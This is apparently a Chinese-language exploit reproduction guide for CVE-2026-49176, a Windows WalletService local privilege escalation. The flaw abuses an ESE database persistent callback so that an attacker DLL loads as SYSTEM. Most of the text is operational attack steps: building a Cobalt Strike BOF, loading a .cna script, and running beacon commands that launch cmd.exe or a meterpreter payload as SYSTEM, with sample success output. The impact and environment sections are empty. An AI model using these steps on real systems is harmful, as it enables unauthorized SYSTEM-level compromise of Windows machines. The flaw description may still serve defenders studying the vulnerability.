漏洞简介
CVE-2026-49176 是 Windows WalletService 服务中的一个本地权限提升漏洞。简单来说,这个漏洞的核心问题在于:WalletService 在处理文档目录路径时,先以调用者身份解析路径,然后 回退到 LocalSystem 权限打开数据库——中间这个小小的"时间窗口",就成了我们施展魔法的舞台!
WalletService 负责管理 Windows 的钱包功能(信用卡信息等),它使用一个叫做 ESE(Extensible Storage Engine)的数据库来存储数据。而这个数据库支持一个特殊的特性: 持久化回调(Persistent Callback) ——当数据库被访问时,可以自动加载一个指定的 DLL!这就是我们利用的关键点:在 SYSTEM 打开数据库的时候,它会 自动加载我们指定的 DLL ,而这个 DLL 会在 SYSTEM 权限下运行!
影响范围
漏洞复现
准备环境
复现步骤
步骤 1:编译 BOF
cd CVE-2026-49176_BOF-main
build.bat
编译成功后会在 bin\BOF\ 和 bin\payload\ 目录下生成所需文件。步骤 2:加载 Cobalt Strike 脚本
在 Cobalt Strike Beacon 控制台中:
beacon> load-script cve2026_49176.cna
脚本加载成功后,会注册新的 Beacon 命令 cve2026_49176 ,并在菜单中出现 CVE-2026-49176 选项。步骤 3:执行漏洞利用
方式一:命令行
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
方式二:参数 + 重定向
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
方式三:运行payload
beacon> cve2026_49176 C:\Windows\Temp\meterpreter.exe步骤 4:观察输出
成功执行时,Beacon 控制台会输出类似以下信息:
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=12345678 broker=87654321 bof=11223344]
[*] CVE-2026-49176 BOF enter (args="C:\Windows\System32\cmd.exe")
[*] parsed dll_len=12345678 broker_len=87654321 cmd_bytes=29
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: C:\Users\qdg\AppData\Local\CVE-2026-49176-BOF\CVE49176_1234567890_1234
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: C:\Users\qdg\Documents
[+] CVE-2026-49176 BOF complete
同时可以在目标机检查 C:\Users\Public\whoami.txt 文件,确认输出为 nt authority\system 。步骤 5:验证结果
C:\> type C:\Users\Public\whoami.txt
成功输出 nt authority\system
如果在桌面看到弹出的 cmd.exe 窗口(使用 shell_broker fallback 时),则说明交互模式也正常工作。